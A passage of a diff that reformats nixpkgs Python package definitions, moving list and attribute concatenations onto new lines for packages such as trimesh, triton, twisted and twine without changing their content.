+  ]
+  ++ twisted.optional-dependencies.tls;
 
   nativeCheckInputs = [
     httpbin
diff --git a/pkgs/development/python-modules/trezor/default.nix b/pkgs/development/python-modules/trezor/default.nix
index 2b3147874c59..8c62f18b8c6f 100644
--- a/pkgs/development/python-modules/trezor/default.nix
+++ b/pkgs/development/python-modules/trezor/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
     shamir-mnemonic
     slip10
     typing-extensions
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ trezor-udev-rules ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ trezor-udev-rules ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/trie/default.nix b/pkgs/development/python-modules/trie/default.nix
index 261cc26df341..5e1359151709 100644
--- a/pkgs/development/python-modules/trie/default.nix
+++ b/pkgs/development/python-modules/trie/default.nix
@@ -41,7 +41,8 @@ buildPythonPackage rec {
     hypothesis
     pytestCheckHook
     pytest-xdist
-  ] ++ eth-hash.optional-dependencies.pycryptodome;
+  ]
+  ++ eth-hash.optional-dependencies.pycryptodome;
 
   disabledTests = [
     # some core tests require fixture submodule and execution spec
diff --git a/pkgs/development/python-modules/trimesh/default.nix b/pkgs/development/python-modules/trimesh/default.nix
index 8f0345058067..a50ab6d7660f 100644
--- a/pkgs/development/python-modules/trimesh/default.nix
+++ b/pkgs/development/python-modules/trimesh/default.nix
@@ -30,28 +30,27 @@ buildPythonPackage rec {
   dependencies = [ numpy ];
 
   optional-dependencies = with python.pkgs; {
-    easy =
-      [
-        colorlog
-        manifold3d
-        charset-normalizer
-        lxml
-        jsonschema
-        networkx
-        svg-path
-        pycollada
-        shapely
-        xxhash
-        rtree
-        httpx
-        scipy
-        pillow
-        # vhacdx # not packaged
-        mapbox-earcut
-      ]
-      ++ lib.optionals embreex.meta.available [
-        embreex
-      ];
+    easy = [
+      colorlog
+      manifold3d
+      charset-normalizer
+      lxml
+      jsonschema
+      networkx
+      svg-path
+      pycollada
+      shapely
+      xxhash
+      rtree
+      httpx
+      scipy
+      pillow
+      # vhacdx # not packaged
+      mapbox-earcut
+    ]
+    ++ lib.optionals embreex.meta.available [
+      embreex
+    ];
   };
 
   nativeCheckInputs = [
diff --git a/pkgs/development/python-modules/trino-python-client/default.nix b/pkgs/development/python-modules/trino-python-client/default.nix
index 0337ddfa3690..8942ffcde64a 100644
--- a/pkgs/development/python-modules/trino-python-client/default.nix
+++ b/pkgs/development/python-modules/trino-python-client/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     httpretty
     pytestCheckHook
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   pythonImportsCheck = [ "trino" ];
 
diff --git a/pkgs/development/python-modules/trio-asyncio/default.nix b/pkgs/development/python-modules/trio-asyncio/default.nix
index 42464ef43cf0..bc08e28c5477 100644
--- a/pkgs/development/python-modules/trio-asyncio/default.nix
+++ b/pkgs/development/python-modules/trio-asyncio/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
     trio
     outcome
     sniffio
-  ] ++ lib.optionals (pythonOlder "3.11") [ exceptiongroup ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ exceptiongroup ];
 
   pytestFlagsArray = [
     # RuntimeWarning: Can't run the Python asyncio tests because they're not installed
diff --git a/pkgs/development/python-modules/trio-websocket/default.nix b/pkgs/development/python-modules/trio-websocket/default.nix
index afcc26350ee9..9cb8b5fd1e88 100644
--- a/pkgs/development/python-modules/trio-websocket/default.nix
+++ b/pkgs/development/python-modules/trio-websocket/default.nix
@@ -30,7 +30,8 @@ buildPythonPackage rec {
   dependencies = [
     trio
     wsproto
-  ] ++ lib.optionals (pythonOlder "3.11") [ exceptiongroup ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ exceptiongroup ];
 
   nativeCheckInputs = [
     pytest-trio
@@ -38,27 +39,26 @@ buildPythonPackage rec {
     trustme
   ];
 
-  disabledTests =
-    [
-      # https://github.com/python-trio/trio-websocket/issues/187
-      "test_handshake_exception_before_accept"
-      "test_reject_handshake"
-      "test_reject_handshake_invalid_info_status"
-      "test_client_open_timeout"
-      "test_client_close_timeout"
-      "test_client_connect_networking_error"
-      "test_finalization_dropped_exception"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Failed: DID NOT RAISE <class 'ValueError'>
-      "test_finalization_dropped_exception"
-      # Timing related
-      "test_client_close_timeout"
-      "test_cm_exit_with_pending_messages"
-      "test_server_close_timeout"
-      "test_server_handler_exit"
-      "test_server_open_timeout"
-    ];
+  disabledTests = [
+    # https://github.com/python-trio/trio-websocket/issues/187
+    "test_handshake_exception_before_accept"
+    "test_reject_handshake"
+    "test_reject_handshake_invalid_info_status"
+    "test_client_open_timeout"
+    "test_client_close_timeout"
+    "test_client_connect_networking_error"
+    "test_finalization_dropped_exception"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Failed: DID NOT RAISE <class 'ValueError'>
+    "test_finalization_dropped_exception"
+    # Timing related
+    "test_client_close_timeout"
+    "test_cm_exit_with_pending_messages"
+    "test_server_close_timeout"
+    "test_server_handler_exit"
+    "test_server_open_timeout"
+  ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/trio/default.nix b/pkgs/development/python-modules/trio/default.nix
index bc5b4ee8b440..9098ca7e4ecb 100644
--- a/pkgs/development/python-modules/trio/default.nix
+++ b/pkgs/development/python-modules/trio/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     outcome
     sniffio
     sortedcontainers
-  ] ++ lib.optionals (pythonOlder "3.11") [ exceptiongroup ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ exceptiongroup ];
 
   # tests are failing on Darwin
   doCheck = !stdenv.hostPlatform.isDarwin;
diff --git a/pkgs/development/python-modules/triton/default.nix b/pkgs/development/python-modules/triton/default.nix
index 2f8dcecc023a..8f4a5f79876f 100644
--- a/pkgs/development/python-modules/triton/default.nix
+++ b/pkgs/development/python-modules/triton/default.nix
@@ -40,26 +40,25 @@ buildPythonPackage {
     hash = "sha256-233fpuR7XXOaSKN+slhJbE/CMFzAqCRCE4V4rIoJZrk=";
   };
 
-  patches =
-    [
-      ./0001-setup.py-introduce-TRITON_OFFLINE_BUILD.patch
-      (replaceVars ./0001-_build-allow-extra-cc-flags.patch {
-        ccCmdExtraFlags = "-Wl,-rpath,${addDriverRunpath.driverLink}/lib";
-      })
-      (replaceVars ./0002-nvidia-amd-driver-short-circuit-before-ldconfig.patch {
-        libhipDir = if rocmSupport then "${lib.getLib rocmPackages.clr}/lib" else null;
-        libcudaStubsDir =
-          if cudaSupport then "${lib.getOutput "stubs" cudaPackages.cuda_cudart}/lib/stubs" else null;
-      })
-    ]
-    ++ lib.optionals cudaSupport [
-      (replaceVars ./0003-nvidia-cudart-a-systempath.patch {
-        cudaToolkitIncludeDirs = "${lib.getInclude cudaPackages.cuda_cudart}/include";
-      })
-      (replaceVars ./0004-nvidia-allow-static-ptxas-path.patch {
-        nixpkgsExtraBinaryPaths = lib.escapeShellArgs [ (lib.getExe' cudaPackages.cuda_nvcc "ptxas") ];
-      })
-    ];
+  patches = [
+    ./0001-setup.py-introduce-TRITON_OFFLINE_BUILD.patch
+    (replaceVars ./0001-_build-allow-extra-cc-flags.patch {
+      ccCmdExtraFlags = "-Wl,-rpath,${addDriverRunpath.driverLink}/lib";
+    })
+    (replaceVars ./0002-nvidia-amd-driver-short-circuit-before-ldconfig.patch {
+      libhipDir = if rocmSupport then "${lib.getLib rocmPackages.clr}/lib" else null;
+      libcudaStubsDir =
+        if cudaSupport then "${lib.getOutput "stubs" cudaPackages.cuda_cudart}/lib/stubs" else null;
+    })
+  ]
+  ++ lib.optionals cudaSupport [
+    (replaceVars ./0003-nvidia-cudart-a-systempath.patch {
+      cudaToolkitIncludeDirs = "${lib.getInclude cudaPackages.cuda_cudart}/include";
+    })
+    (replaceVars ./0004-nvidia-allow-static-ptxas-path.patch {
+      nixpkgsExtraBinaryPaths = lib.escapeShellArgs [ (lib.getExe' cudaPackages.cuda_nvcc "ptxas") ];
+    })
+  ];
 
   postPatch = ''
     # Use our `cmakeFlags` instead and avoid downloading dependencies
@@ -137,23 +136,22 @@ buildPythonPackage {
     cd python
   '';
 
-  env =
-    {
-      TRITON_BUILD_PROTON = "OFF";
-      TRITON_OFFLINE_BUILD = true;
-    }
-    // lib.optionalAttrs cudaSupport {
-      CC = lib.getExe' cudaPackages.backendStdenv.cc "cc";
-      CXX = lib.getExe' cudaPackages.backendStdenv.cc "c++";
+  env = {
+    TRITON_BUILD_PROTON = "OFF";
+    TRITON_OFFLINE_BUILD = true;
+  }
+  // lib.optionalAttrs cudaSupport {
+    CC = lib.getExe' cudaPackages.backendStdenv.cc "cc";
+    CXX = lib.getExe' cudaPackages.backendStdenv.cc "c++";
 
-      # TODO: Unused because of how TRITON_OFFLINE_BUILD currently works (subject to change)
-      TRITON_PTXAS_PATH = lib.getExe' cudaPackages.cuda_nvcc "ptxas"; # Make sure cudaPackages is the right version each update (See python/setup.py)
-      TRITON_CUOBJDUMP_PATH = lib.getExe' cudaPackages.cuda_cuobjdump "cuobjdump";
-      TRITON_NVDISASM_PATH = lib.getExe' cudaPackages.cuda_nvdisasm "nvdisasm";
-      TRITON_CUDACRT_PATH = lib.getInclude cudaPackages.cuda_nvcc;
-      TRITON_CUDART_PATH = lib.getInclude cudaPackages.cuda_cudart;
-      TRITON_CUPTI_PATH = cudaPackages.cuda_cupti;
-    };
+    # TODO: Unused because of how TRITON_OFFLINE_BUILD currently works (subject to change)
+    TRITON_PTXAS_PATH = lib.getExe' cudaPackages.cuda_nvcc "ptxas"; # Make sure cudaPackages is the right version each update (See python/setup.py)
+    TRITON_CUOBJDUMP_PATH = lib.getExe' cudaPackages.cuda_cuobjdump "cuobjdump";
+    TRITON_NVDISASM_PATH = lib.getExe' cudaPackages.cuda_nvdisasm "nvdisasm";
+    TRITON_CUDACRT_PATH = lib.getInclude cudaPackages.cuda_nvcc;
+    TRITON_CUDART_PATH = lib.getInclude cudaPackages.cuda_cudart;
+    TRITON_CUPTI_PATH = cudaPackages.cuda_cupti;
+  };
 
   pythonRemoveDeps = [
     # Circular dependency, cf. https://github.com/triton-lang/triton/issues/1374
diff --git a/pkgs/development/python-modules/trytond/default.nix b/pkgs/development/python-modules/trytond/default.nix
index 7f2ae47dcb5b..adf34f0a89b9 100644
--- a/pkgs/development/python-modules/trytond/default.nix
+++ b/pkgs/development/python-modules/trytond/default.nix
@@ -39,30 +39,29 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      defusedxml
-      lxml
-      relatorio
-      genshi
-      python-dateutil
-      polib
-      python-sql
-      werkzeug
-      passlib
+  dependencies = [
+    defusedxml
+    lxml
+    relatorio
+    genshi
+    python-dateutil
+    polib
+    python-sql
+    werkzeug
+    passlib
 
-      # extra dependencies
-      pydot
-      levenshtein
-      html2text
-      weasyprint
-      gevent
-      pillow
-    ]
-    ++ relatorio.optional-dependencies.fodt
-    ++ passlib.optional-dependencies.bcrypt
-    ++ passlib.optional-dependencies.argon2
-    ++ lib.optional withPostgresql psycopg2;
+    # extra dependencies
+    pydot
+    levenshtein
+    html2text
+    weasyprint
+    gevent
+    pillow
+  ]
+  ++ relatorio.optional-dependencies.fodt
+  ++ passlib.optional-dependencies.bcrypt
+  ++ passlib.optional-dependencies.argon2
+  ++ lib.optional withPostgresql psycopg2;
 
   nativeCheckInputs = [ unittestCheckHook ];
 
diff --git a/pkgs/development/python-modules/tsfresh/default.nix b/pkgs/development/python-modules/tsfresh/default.nix
index 923ee425a873..9e92af4c8cc2 100644
--- a/pkgs/development/python-modules/tsfresh/default.nix
+++ b/pkgs/development/python-modules/tsfresh/default.nix
@@ -63,7 +63,8 @@ buildPythonPackage rec {
     stumpy
     cloudpickle
     pywavelets
-  ] ++ dask.optional-dependencies.dataframe;
+  ]
+  ++ dask.optional-dependencies.dataframe;
 
   # python-datareader is disabled on Python 3.12+ and is require only for checks.
   doCheck = !pandas-datareader.disabled;
@@ -79,25 +80,24 @@ buildPythonPackage rec {
     pandas-datareader
   ];
 
-  disabledTests =
-    [
-      # touches network
-      "test_relevant_extraction"
-      "test_characteristics_downloaded_robot_execution_failures"
-      "test_index"
-      "test_binary_target_is_default"
-      "test_characteristics_downloaded_robot_execution_failures"
-      "test_extraction_runs_through"
-      "test_multilabel_target_on_request"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # RuntimeError: Cluster failed to start: [Errno 1] Operation not permitted
-      # may require extra privileges on darwin
-      "test_local_dask_cluster_extraction_one_worker"
-      "test_local_dask_cluster_extraction_two_worker"
-      "test_dask_cluster_extraction_one_worker"
-      "test_dask_cluster_extraction_two_workers"
-    ];
+  disabledTests = [
+    # touches network
+    "test_relevant_extraction"
+    "test_characteristics_downloaded_robot_execution_failures"
+    "test_index"
+    "test_binary_target_is_default"
+    "test_characteristics_downloaded_robot_execution_failures"
+    "test_extraction_runs_through"
+    "test_multilabel_target_on_request"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # RuntimeError: Cluster failed to start: [Errno 1] Operation not permitted
+    # may require extra privileges on darwin
+    "test_local_dask_cluster_extraction_one_worker"
+    "test_local_dask_cluster_extraction_two_worker"
+    "test_dask_cluster_extraction_one_worker"
+    "test_dask_cluster_extraction_two_workers"
+  ];
 
   pythonImportsCheck = [ "tsfresh" ];
 
diff --git a/pkgs/development/python-modules/ttfautohint-py/default.nix b/pkgs/development/python-modules/ttfautohint-py/default.nix
index b99908f2bda3..9e43acab06b9 100644
--- a/pkgs/development/python-modules/ttfautohint-py/default.nix
+++ b/pkgs/development/python-modules/ttfautohint-py/default.nix
@@ -23,15 +23,14 @@ buildPythonPackage rec {
     hash = "sha256-NTog461RpyHKo/Qpicj3tflehaKj9LlZEN9qeCMM6JQ=";
   };
 
-  postPatch =
-    ''
-      substituteInPlace src/python/ttfautohint/__init__.py \
-        --replace-fail 'find_library("ttfautohint")' '"${lib.getLib ttfautohint}/lib/libttfautohint${stdenv.hostPlatform.extensions.sharedLibrary}"'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      substituteInPlace src/python/ttfautohint/memory.py \
-        --replace-fail 'find_library("c")' '"${lib.getLib stdenv.cc.libc}/lib/libc.so.6"'
-    '';
+  postPatch = ''
+    substituteInPlace src/python/ttfautohint/__init__.py \
+      --replace-fail 'find_library("ttfautohint")' '"${lib.getLib ttfautohint}/lib/libttfautohint${stdenv.hostPlatform.extensions.sharedLibrary}"'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    substituteInPlace src/python/ttfautohint/memory.py \
+      --replace-fail 'find_library("c")' '"${lib.getLib stdenv.cc.libc}/lib/libc.so.6"'
+  '';
 
   env.TTFAUTOHINTPY_BUNDLE_DLL = false;
 
diff --git a/pkgs/development/python-modules/tuf/default.nix b/pkgs/development/python-modules/tuf/default.nix
index a20a1f10e0cf..6b2a9b4cedbc 100644
--- a/pkgs/development/python-modules/tuf/default.nix
+++ b/pkgs/development/python-modules/tuf/default.nix
@@ -31,13 +31,12 @@ buildPythonPackage rec {
     hatchling
   ];
 
-  dependencies =
-    [
-      requests
-      securesystemslib
-    ]
-    ++ securesystemslib.optional-dependencies.pynacl
-    ++ securesystemslib.optional-dependencies.crypto;
+  dependencies = [
+    requests
+    securesystemslib
+  ]
+  ++ securesystemslib.optional-dependencies.pynacl
+  ++ securesystemslib.optional-dependencies.crypto;
 
   checkInputs = [
     freezegun
diff --git a/pkgs/development/python-modules/tweepy/default.nix b/pkgs/development/python-modules/tweepy/default.nix
index 7b1e18f0ebcf..b26817ae079f 100644
--- a/pkgs/development/python-modules/tweepy/default.nix
+++ b/pkgs/development/python-modules/tweepy/default.nix
@@ -45,7 +45,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     vcrpy
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "tweepy" ];
 
diff --git a/pkgs/development/python-modules/twine/default.nix b/pkgs/development/python-modules/twine/default.nix
index 65f53fb7d6b0..070e7d675e89 100644
--- a/pkgs/development/python-modules/twine/default.nix
+++ b/pkgs/development/python-modules/twine/default.nix
@@ -38,22 +38,21 @@ buildPythonPackage rec {
     setuptools-scm
   ];
 
-  dependencies =
-    [
-      id
-      keyring
-      packaging
-      pkginfo
-      readme-renderer
-      requests
-      requests-toolbelt
-      rfc3986
-      rich
-      urllib3
-    ]
-    ++ lib.optionals (pythonOlder "3.10") [
-      importlib-metadata
-    ];
+  dependencies = [
+    id
+    keyring
+    packaging
+    pkginfo
+    readme-renderer
+    requests
+    requests-toolbelt
+    rfc3986
+    rich
+    urllib3
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [
+    importlib-metadata
+  ];
 
   nativeCheckInputs = [
     build
diff --git a/pkgs/development/python-modules/twisted/default.nix b/pkgs/development/python-modules/twisted/default.nix
index 199944707eb4..aef8609e80ac 100644
--- a/pkgs/development/python-modules/twisted/default.nix
+++ b/pkgs/development/python-modules/twisted/default.nix
@@ -86,94 +86,93 @@ buildPythonPackage rec {
 
   postPatch =
     let
-      skippedTests =
-        {
-          "src/twisted/conch/test/test_cftp.py" = [
-            # timezone issues
-            "ListingTests.test_localeIndependent"
-            "ListingTests.test_newSingleDigitDayOfMonth"
-            "ListingTests.test_oldFile"
-            "ListingTests.test_oldSingleDigitDayOfMonth"
-            "ListingTests.test_newFile"
-          ];
-          "src/twisted/test/test_log.py" = [
-            # wrong timezone offset calculation
-            "FileObserverTests.test_getTimezoneOffsetEastOfUTC"
-            "FileObserverTests.test_getTimezoneOffsetWestOfUTC"
-            "FileObserverTests.test_getTimezoneOffsetWithoutDaylightSavingTime"
-          ];
-          "src/twisted/test/test_udp.py" = [
-            # "No such device" (No multicast support in the build sandbox)
-            "MulticastTests.test_joinLeave"
-            "MulticastTests.test_loopback"
-            "MulticastTests.test_multicast"
-            "MulticastTests.test_multiListen"
-          ];
-          "src/twisted/trial/test/test_script.py" = [
-            # Fails in LXC containers with less than all cores availaible (limits.cpu)
-            "AutoJobsTests.test_cpuCount"
-          ];
-          "src/twisted/internet/test/test_unix.py" = [
-            # flaky?
-            "UNIXTestsBuilder.test_sendFileDescriptorTriggersPauseProducing"
-          ];
-        }
-        // lib.optionalAttrs (pythonAtLeast "3.12") {
-          "src/twisted/trial/_dist/test/test_workerreporter.py" = [
-            "WorkerReporterTests.test_addSkipPyunit"
-          ];
-          "src/twisted/trial/_dist/test/test_worker.py" = [
-            "LocalWorkerAMPTests.test_runSkip"
-          ];
-        }
-        // lib.optionalAttrs (pythonOlder "3.13") {
-          # missing ciphers in the crypt module due to libxcrypt
-          "src/twisted/web/test/test_tap.py" = [
-            "ServiceTests.test_HTTPSFailureOnMissingSSL"
-            "ServiceTests.test_HTTPSFailureOnMissingSSL"
-          ];
-          "src/twisted/conch/test/test_checkers.py" = [
-            "HelperTests.test_refuteCryptedPassword"
-            "HelperTests.test_verifyCryptedPassword"
-            "HelperTests.test_verifyCryptedPasswordMD5"
-            "UNIXPasswordDatabaseTests.test_defaultCheckers"
-            "UNIXPasswordDatabaseTests.test_passInCheckers"
-          ];
-          "src/twisted/cred/test/test_strcred.py" = [
-            "UnixCheckerTests.test_isChecker"
-            "UnixCheckerTests.test_unixCheckerFailsPassword"
-            "UnixCheckerTests.test_unixCheckerFailsPasswordBytes"
-            "UnixCheckerTests.test_unixCheckerFailsUsername"
-            "UnixCheckerTests.test_unixCheckerFailsUsernameBytes"
-            "UnixCheckerTests.test_unixCheckerSucceeds"
-            "UnixCheckerTests.test_unixCheckerSucceedsBytes"
-            "CryptTests.test_verifyCryptedPassword"
-            "CryptTests.test_verifyCryptedPasswordOSError"
-          ];
-          # dependant on UnixCheckerTests.test_isChecker
-          "src/twisted/cred/test/test_cred.py" = [
-            "HashedPasswordOnDiskDatabaseTests.testBadCredentials"
-            "HashedPasswordOnDiskDatabaseTests.testGoodCredentials"
-            "HashedPasswordOnDiskDatabaseTests.testGoodCredentials_login"
-            "HashedPasswordOnDiskDatabaseTests.testHashedCredentials"
-          ];
-        }
-        // lib.optionalAttrs (pythonAtLeast "3.13") {
-          "src/twisted/web/test/test_flatten.py" = [
-            "FlattenerErrorTests.test_asynchronousFlattenError"
-            "FlattenerErrorTests.test_cancel"
-          ];
-        }
-        // lib.optionalAttrs stdenv.hostPlatform.isDarwin {
-          "src/twisted/internet/test/test_process.py" = [
-            # invalid syntaax
-            "ProcessTestsBuilder_AsyncioSelectorReactorTests.test_openFileDescriptors"
-            "ProcessTestsBuilder_SelectReactorTests.test_openFileDescriptors"
-            # exit code 120
-            "ProcessTestsBuilder_AsyncioSelectorReactorTests.test_processEnded"
-            "ProcessTestsBuilder_SelectReactorTests.test_processEnded"
-          ];
-        };
+      skippedTests = {
+        "src/twisted/conch/test/test_cftp.py" = [
+          # timezone issues
+          "ListingTests.test_localeIndependent"
+          "ListingTests.test_newSingleDigitDayOfMonth"
+          "ListingTests.test_oldFile"
+          "ListingTests.test_oldSingleDigitDayOfMonth"
+          "ListingTests.test_newFile"
+        ];
+        "src/twisted/test/test_log.py" = [
+          # wrong timezone offset calculation
+          "FileObserverTests.test_getTimezoneOffsetEastOfUTC"
+          "FileObserverTests.test_getTimezoneOffsetWestOfUTC"
+          "FileObserverTests.test_getTimezoneOffsetWithoutDaylightSavingTime"
+        ];
+        "src/twisted/test/test_udp.py" = [
+          # "No such device" (No multicast support in the build sandbox)
+          "MulticastTests.test_joinLeave"
+          "MulticastTests.test_loopback"
+          "MulticastTests.test_multicast"
+          "MulticastTests.test_multiListen"
+        ];
+        "src/twisted/trial/test/test_script.py" = [
+          # Fails in LXC containers with less than all cores availaible (limits.cpu)
+          "AutoJobsTests.test_cpuCount"
+        ];
+        "src/twisted/internet/test/test_unix.py" = [
+          # flaky?
+          "UNIXTestsBuilder.test_sendFileDescriptorTriggersPauseProducing"
+        ];
+      }
+      // lib.optionalAttrs (pythonAtLeast "3.12") {
+        "src/twisted/trial/_dist/test/test_workerreporter.py" = [
+          "WorkerReporterTests.test_addSkipPyunit"
+        ];
+        "src/twisted/trial/_dist/test/test_worker.py" = [
+          "LocalWorkerAMPTests.test_runSkip"
+        ];
+      }
+      // lib.optionalAttrs (pythonOlder "3.13") {
+        # missing ciphers in the crypt module due to libxcrypt
+        "src/twisted/web/test/test_tap.py" = [
+          "ServiceTests.test_HTTPSFailureOnMissingSSL"
+          "ServiceTests.test_HTTPSFailureOnMissingSSL"
+        ];
+        "src/twisted/conch/test/test_checkers.py" = [
+          "HelperTests.test_refuteCryptedPassword"
+          "HelperTests.test_verifyCryptedPassword"
+          "HelperTests.test_verifyCryptedPasswordMD5"
+          "UNIXPasswordDatabaseTests.test_defaultCheckers"
+          "UNIXPasswordDatabaseTests.test_passInCheckers"
+        ];
+        "src/twisted/cred/test/test_strcred.py" = [
+          "UnixCheckerTests.test_isChecker"
+          "UnixCheckerTests.test_unixCheckerFailsPassword"
+          "UnixCheckerTests.test_unixCheckerFailsPasswordBytes"
+          "UnixCheckerTests.test_unixCheckerFailsUsername"
+          "UnixCheckerTests.test_unixCheckerFailsUsernameBytes"
+          "UnixCheckerTests.test_unixCheckerSucceeds"
+          "UnixCheckerTests.test_unixCheckerSucceedsBytes"
+          "CryptTests.test_verifyCryptedPassword"
+          "CryptTests.test_verifyCryptedPasswordOSError"
+        ];
+        # dependant on UnixCheckerTests.test_isChecker
+        "src/twisted/cred/test/test_cred.py" = [
+          "HashedPasswordOnDiskDatabaseTests.testBadCredentials"
+          "HashedPasswordOnDiskDatabaseTests.testGoodCredentials"
+          "HashedPasswordOnDiskDatabaseTests.testGoodCredentials_login"
+          "HashedPasswordOnDiskDatabaseTests.testHashedCredentials"
+        ];
+      }
+      // lib.optionalAttrs (pythonAtLeast "3.13") {
+        "src/twisted/web/test/test_flatten.py" = [
+          "FlattenerErrorTests.test_asynchronousFlattenError"
+          "FlattenerErrorTests.test_cancel"
+        ];
+      }
+      // lib.optionalAttrs stdenv.hostPlatform.isDarwin {
+        "src/twisted/internet/test/test_process.py" = [
+          # invalid syntaax
+          "ProcessTestsBuilder_AsyncioSelectorReactorTests.test_openFileDescriptors"
+          "ProcessTestsBuilder_SelectReactorTests.test_openFileDescriptors"
+          # exit code 120
+          "ProcessTestsBuilder_AsyncioSelectorReactorTests.test_processEnded"
+          "ProcessTestsBuilder_SelectReactorTests.test_processEnded"
+        ];
+      };
     in
     lib.concatStringsSep "\n" (
       lib.mapAttrsToList (
@@ -194,16 +193,15 @@ buildPythonPackage rec {
     $out/bin/twistd --help > /dev/null
   '';
 
-  nativeCheckInputs =
-    [
-      git
-      glibcLocales
-    ]
-    ++ optional-dependencies.test
-    ++ optional-dependencies.conch
-    ++ optional-dependencies.http2
-    ++ optional-dependencies.serial
-    ++ optional-dependencies.tls;
+  nativeCheckInputs = [
+    git
+    glibcLocales
+  ]
+  ++ optional-dependencies.test
+  ++ optional-dependencies.conch
+  ++ optional-dependencies.http2
+  ++ optional-dependencies.serial
+  ++ optional-dependencies.tls;
 
   preCheck = ''
     export SOURCE_DATE_EPOCH=315532800
@@ -233,7 +231,8 @@ buildPythonPackage rec {
       pyhamcrest
       hypothesis
       httpx
-    ] ++ httpx.optional-dependencies.http2;
+    ]
+    ++ httpx.optional-dependencies.http2;
     tls = [
       idna
       pyopenssl
diff --git a/pkgs/development/python-modules/txredisapi/default.nix b/pkgs/development/python-modules/txredisapi/default.nix
index a3c64f64ee83..b91e6927d306 100644
--- a/pkgs/development/python-modules/txredisapi/default.nix
+++ b/pkgs/development/python-modules/txredisapi/default.nix
@@ -25,7 +25,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     six
     twisted
-  ] ++ twisted.optional-dependencies.tls;
+  ]
+  ++ twisted.optional-dependencies.tls;
 
   pythonImportsCheck = [ "txredisapi" ];
 
diff --git a/pkgs/development/python-modules/txtai/default.nix b/pkgs/development/python-modules/txtai/default.nix
index 4292552242b1..0dcf286f9915 100644
--- a/pkgs/development/python-modules/txtai/default.nix
+++ b/pkgs/development/python-modules/txtai/default.nix
@@ -258,17 +258,16 @@ buildPythonPackage {
 
   pythonImportsCheck = [ "txtai" ];
 
-  nativeCheckInputs =
-    [
-      httpx
-      msgpack
-      pytestCheckHook
-      python-multipart
-      sqlalchemy
-    ]
-    ++ optional-dependencies.ann
-    ++ optional-dependencies.api
-    ++ optional-dependencies.similarity;
+  nativeCheckInputs = [
+    httpx
+    msgpack
+    pytestCheckHook
+    python-multipart
+    sqlalchemy
+  ]
+  ++ optional-dependencies.ann
+  ++ optional-dependencies.api
+  ++ optional-dependencies.similarity;
 
   # The deselected paths depend on the huggingface hub and should be run as a passthru test
   # disabledTestPaths won't work as the problem is with the classes containing the tests
diff --git a/pkgs/development/python-modules/txtorcon/default.nix b/pkgs/development/python-modules/txtorcon/default.nix
index 66329d3b0985..81ff771af7f8 100644
--- a/pkgs/development/python-modules/txtorcon/default.nix
+++ b/pkgs/development/python-modules/txtorcon/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
     twisted
     automat
     zope-interface
-  ] ++ twisted.optional-dependencies.tls;
+  ]
+  ++ twisted.optional-dependencies.tls;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/typed-settings/default.nix b/pkgs/development/python-modules/typed-settings/default.nix
index b5d9cfdbb370..a9eeba1cf77e 100644
--- a/pkgs/development/python-modules/typed-settings/default.nix
+++ b/pkgs/development/python-modules/typed-settings/default.nix
@@ -58,16 +58,15 @@ buildPythonPackage rec {
 
   nativeBuildInputs = [ hatch-vcs ];
 
-  nativeCheckInputs =
-    [
-      hypothesis
-      pytest-cov-stub
-      pytestCheckHook
-      rich-click
-      sybil
-    ]
-    ++ (lib.optional (pythonOlder "3.11") typing-extensions)
-    ++ (lib.flatten (lib.attrValues optional-dependencies));
+  nativeCheckInputs = [
+    hypothesis
+    pytest-cov-stub
+    pytestCheckHook
+    rich-click
+    sybil
+  ]
+  ++ (lib.optional (pythonOlder "3.11") typing-extensions)
+  ++ (lib.flatten (lib.attrValues optional-dependencies));
 
   pytestFlagsArray = [ "tests" ];
 
diff --git a/pkgs/development/python-modules/typeguard/default.nix b/pkgs/development/python-modules/typeguard/default.nix
index 15d06f3946cc..4873e61061da 100644
--- a/pkgs/development/python-modules/typeguard/default.nix
+++ b/pkgs/development/python-modules/typeguard/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
 
   dependencies = [
     typing-extensions
-  ] ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   env.LC_ALL = "en_US.utf-8";
 
diff --git a/pkgs/development/python-modules/typepy/default.nix b/pkgs/development/python-modules/typepy/default.nix
index 1e5e8b2f7059..c4979dc6ac86 100644
--- a/pkgs/development/python-modules/typepy/default.nix
+++ b/pkgs/development/python-modules/typepy/default.nix
@@ -41,7 +41,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     tcolorpy
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "typepy" ];
 
diff --git a/pkgs/development/python-modules/typer/default.nix b/pkgs/development/python-modules/typer/default.nix
index 70e8a2eccb57..b98c23a8484a 100644
